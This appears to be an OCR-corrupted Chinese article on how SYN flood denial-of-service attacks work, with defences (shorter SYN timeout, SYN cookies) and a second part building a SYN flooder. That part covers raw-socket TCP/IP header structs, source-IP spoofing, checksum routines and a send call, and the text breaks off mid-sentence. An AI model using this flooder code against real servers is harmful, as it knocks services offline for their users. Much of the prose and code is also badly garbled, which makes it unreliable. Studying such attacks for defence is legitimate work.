SYN Flood攻击的基本原理及防御.docx
SYNF100d攻击的基本原理及防卫文章来泡:第部分SYNFkXXI的珞本朦理SYNFHXl是'的坡流行的DOS(拒绝服务攻击)与DDOS分布式拒绝服务攻击)的方式之一,这是一栉利用TCP赤仪缺陷,发送大M伪造的TCP连接孱求,从而使得被攻击方资源耗尽(CPU满负荷成内存不足)的攻击方式.9«白这总攻击的基本“,还是*从TCP卸Ht立的过正Ia先说IBl道,T(P与IDp不周,它是若于建畏的,也IK是置,为了在务和客户之内传送TcP敷«.4先皿一仙电,Hcp»»,TSH的行加馆是慈祥的,Ir先.如I(客户Ii)发送T含SYN标记的TCPit文,SYNR同步(Synchronic),内步报文会指明客户运用的口以及<P建校的初始序号I其次步,务在收“客户的S、IR文后,将返回一个SYN+ACK的锻文,我示客户的求被接受.同时TCP序号W-.ACK(Acknov.l«l8«<»«.t).第三步,客户也建回一个认聂文c给iHM,M禅TCP序界号Ittl,到ItfTcP建接完以I:的连接过程在TCP协议中被称为:次掷F(Thtee-wayHarxh1ke>.阿国就出在TCP连接的三次握手中,©议川户向It务青发送J'SYN报支屈R然也机火拉峻.俄久旧务器“发出SYN+ACK应答泰文后是无法收到户篇的ACK报文的馀:次握手无法完成),这种状况卜服务雅端一般公圾试(再次发送SYN+ACK给客户竭)井等待段时间后丢弃这个未完成的连掖,这段时间的K收我们称为SYNTUnCo5.收来说这个时间是分科的酸小皴(大约为50秒分钟),个用户出现异样与JBUK务器的一个观程等恃I分仲并不是什么IH大的问信.但假如有-4延息的攻击籽大At隈拟这种状况,班务器端将为维护个特别大的半江接列表而消耗特别多的济湖-数以万计的中途«.即使是渝沽的保存并遍历也会消耗特别?的CPU时间和内存.何况还要不Si对这个列中的【P进行SYNMCK的呱试.力实上胃如服务器的TCP,IP栈不然很大.堆终的结梁往往是推栈溢出明酒即使服务;S湍的系统足舔强大.咽务然端也将tJ处理攻击伪造的TCP连接W求而无箕理昧客户的正常恳求(终白叁户福的正然思求比率特别之小),此时从正常客户的角度沓来,服务器失去响A.这种状况我们移作I限务器上受到了SYNFloal攻击<SYN洪水攻击)。从防卫角度来说,在几种徜洁的算决方法,第一冷JUHSSY、TinKOUt时同,由于SYNFlgd攻击的效果取淡卜服务器上保持的SYN半连接数.这个的=SYNJi击的嫉度XSYNTimeoui,所以通过缩加从接收到SYN报文到确定这个报文无牧并工弃设连接的时间.例如设置为20检以下(过低的SYNTimeoul设也可能会影响客户的正常访T),可以成倍的降低眼务器的负筠.其次*方法是3SYMCgMe.就是给柘个恳求连接的IP地安排个Cgkic.假如树时间内连续受到某个IP的电红SYN报文威认定是受到攻击以后从这个IP地址米的包会被一报片弃.'½上述的两种方法只能应付比较原始的SYNFlcod攻击,缩短SYNTimcoui时间仅在对方攻击顿度不施的状况卜生效.SYNCookiC史依Ifcr对方运用我实的IP地址,IKtII攻击行以改J”杪的速收发送SYN报文.同时利用SOCK_RAW两机仪写IP报文中的源抱址.以上的方法将意无用武之地.其次部份SYNFloodcri«PWit下面我们来分析SYNHoodcr的程序实现,fir.我归来看下TCP报文的格式:0123456024680246802468024680246802468024IP首都ITCPKfUITCPftffiR图-TCP报攵姑构如上图所示,个TCP报文由个部分构成;20字节的IP首部.20字节的TCP首都1.j不定长的数据段.(实际操作时川健会有可逸的IP选项.这种状况卜TCP西部向后版it由于我£!是发送个SYN伯号,并不传递任何数据.所以TCP数据或为空.TCP#部的数据结构为:0123Ol234567H9OI2345678901234567S90I2十六位混指口号I十六位H标科U号I+.+.+.+.+.44.+-4T+4+.+.+f.+.+.+.4÷.-I三十二位序列号I*4*4*4-÷*-÷4-÷-4÷->-÷-÷-4÷*三十二位珀认号.f4+.4fT*+T4.+>.4f*+.*f+6444I四位IlAPRSFIIftSfI六位保宙位IRICIslSIYIIl卜六位窗口大小II长度IIGIKIHfTINlNlI+.4.+.+T+.+.4¼T.+.J4+.+-M.+.+.+十六位校收和I十六lit依指的I+÷>Tf选项(若芍)数据(若有)图:TCP汴窜陪构依据TCP报文格大,我们定义个拮构TcP_HEADERM去存放TCP泞部:typedefMroctCPbdJ1.SHORlii>j:l6snslUSHORTikdpon;力16位目的端口UiUtgnedM(h_>cq;32位序列5unsignedimth.ack;32位)认号unsignedCtKirlilenvs:M位甘前长度+6位保愤字中的4位unsignedcharth.flag;/2位保用字+6位标记位1.SHORTUiwin:"16位窗UA:小USHORTth.sm;16位校验和1.SHORlUiuxp;16位策念BdKwl移域)TCP_HEADER;通过以正确的数据填充这个咕构并将TcP_HEADER.thbg赋值为2(:选射的OooOa我们饯制造个SYN的TCP报文,通过大Iit发送这个报文可以实现SYNR1XXl的效果,但是为了进行IP欺妫从而JSAlcl.也为了会诲服务必的SYNCgkie枚ff还须要Itft时IP首部进行携作I012345678901234567890123456789012I板本I长度I八位服务类型I十六位怠长收I十六位标识I标记I十三位片伸移II八位生存时间I八位协议I十六位首部校咬和II三十二位源IP地址II三十二位目的Ip地址I44.+f4+*.>44*4*4f*4*.4f4Tv.4.+4I选项(若有)If.-*.f4*44+*4*4f*-*+T-+*÷>÷4+>I数据I.44.4.4-.4v.4.4.-÷4-÷.÷-4H-*-4-*.-4-÷.-÷-÷.4-÷-ra三ip首都结构同样定义一个IPH1.ADhR来存放IP行部cypcdcfMmcl_iphdr(unsignedcharh_vcrkn;/4位首滞长度÷4IP版本号UfKignedchark>¼:M位服务类里TOSunsignedshorttoul.lcn:/16位总长度(字节unsignedHXKt>denl;/16位标识unsignedsbo11frag-und-flags:3位标记位Uititgnedchartlk/据位生存时间TT1.unsignedcharro<o:"8位.ffr设号(TCPUDP或其他)unsignedslxtcevksun:"16(?IPft田;校雅和unsignediMsource!P;"32(iIP地址unsignedtfde%UP:7/32位H的JP地址".HEADER;然后通过JkickRaw=WSASgkUAplNET.SOCKRAW.lPPR(yi<)RAW.N1.1.I.O.WSAH.AG.OVhR1.AITliDlh建立一原始一接口由于我们的IP徵地址是的地的.所以不能杀电第统梢我们计算IP校脸和,我们和在在MrtMxrkiipl中设附IPHDRINe1.告知系统自己填充W仃部井自已计力校验和:flAg=TRUE;SeUoCkOPMSoCkRaWjpPRoTO_IPJPaJfDlUNC1.(dar/nq"izcoinOXIP检蛉和的计算方法是,首先将IP首部的校蛉和字段设为0HP-HEADERchaksum=O).然后计口整个IPH部(包括这项)的,进M反码的和.个标戕的枚括和函敷如下所示BVSHORTChcckMinXUSHORT*bufTcnimsize)(unvignalIonjcksum=0:while(sizc>1)cksum+=4bllcr4+;size-=Sizcof(USHORT):iflsizc)Cksum+=*(UCHAR*)Uffcr;VkXUm二(cksum»I6>*(cksum&Oxf!10;CkMJm÷=(cksm»I6);return(USHORTKYkXumX)这个济数并没有经过任何的优化,由于校验和函数是TeFlP出取中被讽Mitt为自致之一,所以帙设来,在实现TCPyIP模时,公依据操件系统对校找和函数边行优化。TCP讨部检验和与DP首都校验和的计算方法相同.在程序中运用同一个函数来计算.须要用点的是,由于TCP首部中不包含海地址马n标地址等信且,为了保适TCP校验的花攻性,在进行TCP校检和的计算时.须要叱加个TCP伪泞部的校验机定义如下Istruct(unsignedInnjesaddr;德地始unsignedlangdaddr;HW的地址ch;Irmbz;“H1.空charpeel;"I办议类熨unsignedshortIcpl;OTcP长度)pdjcadcr;然后我。带这两个字段复制到同一个援冲区SendBuf中并计算TCP校验和:nny<ScikiBuf.&PSjlC3改,NZoORPS1.hCaden);mcmq)yiSendBuf*xizcoRp!<d_he;ulrr>,&lcp_he;iderizcof(tcp_hcinicr)KICPjICadC1.IhJUin:CbCCkMIMUSHORT*FScndBufszcof<psd_hc3der)*sizcofticp-he3der):ilffIP校!和的时帙不须要包括TCP伪首部:mcmcpy<SendBuf.&iPJKiMkr,4ZCOniP-header):ne11cy(SelIdBUHizeoRip_he3der)&lcp_header.、iza”(lq)_hedd"»ip_hCadCrebCCkWm=CbCCksUmUUSHORT*)SendBuf,sizcof(ip-bcodcr)÷sizcof(tcp-bcadcr)k再将计算过校验和的IP苜部与TCP首部复制到同一个暧冲区中就可以干腌发送r:mcnpyiSendBuftAip_hcadCT,siz<»f(ip_hcudcr»MdkKS<>ckRaw<:xlBufk3<asze.0.(slr-l%uckaddr*>lMddrjzeuf(DcMAddr):闪为整个TCP报文中的全前部分祐是我们自己写入的(操作系统不会妣任何干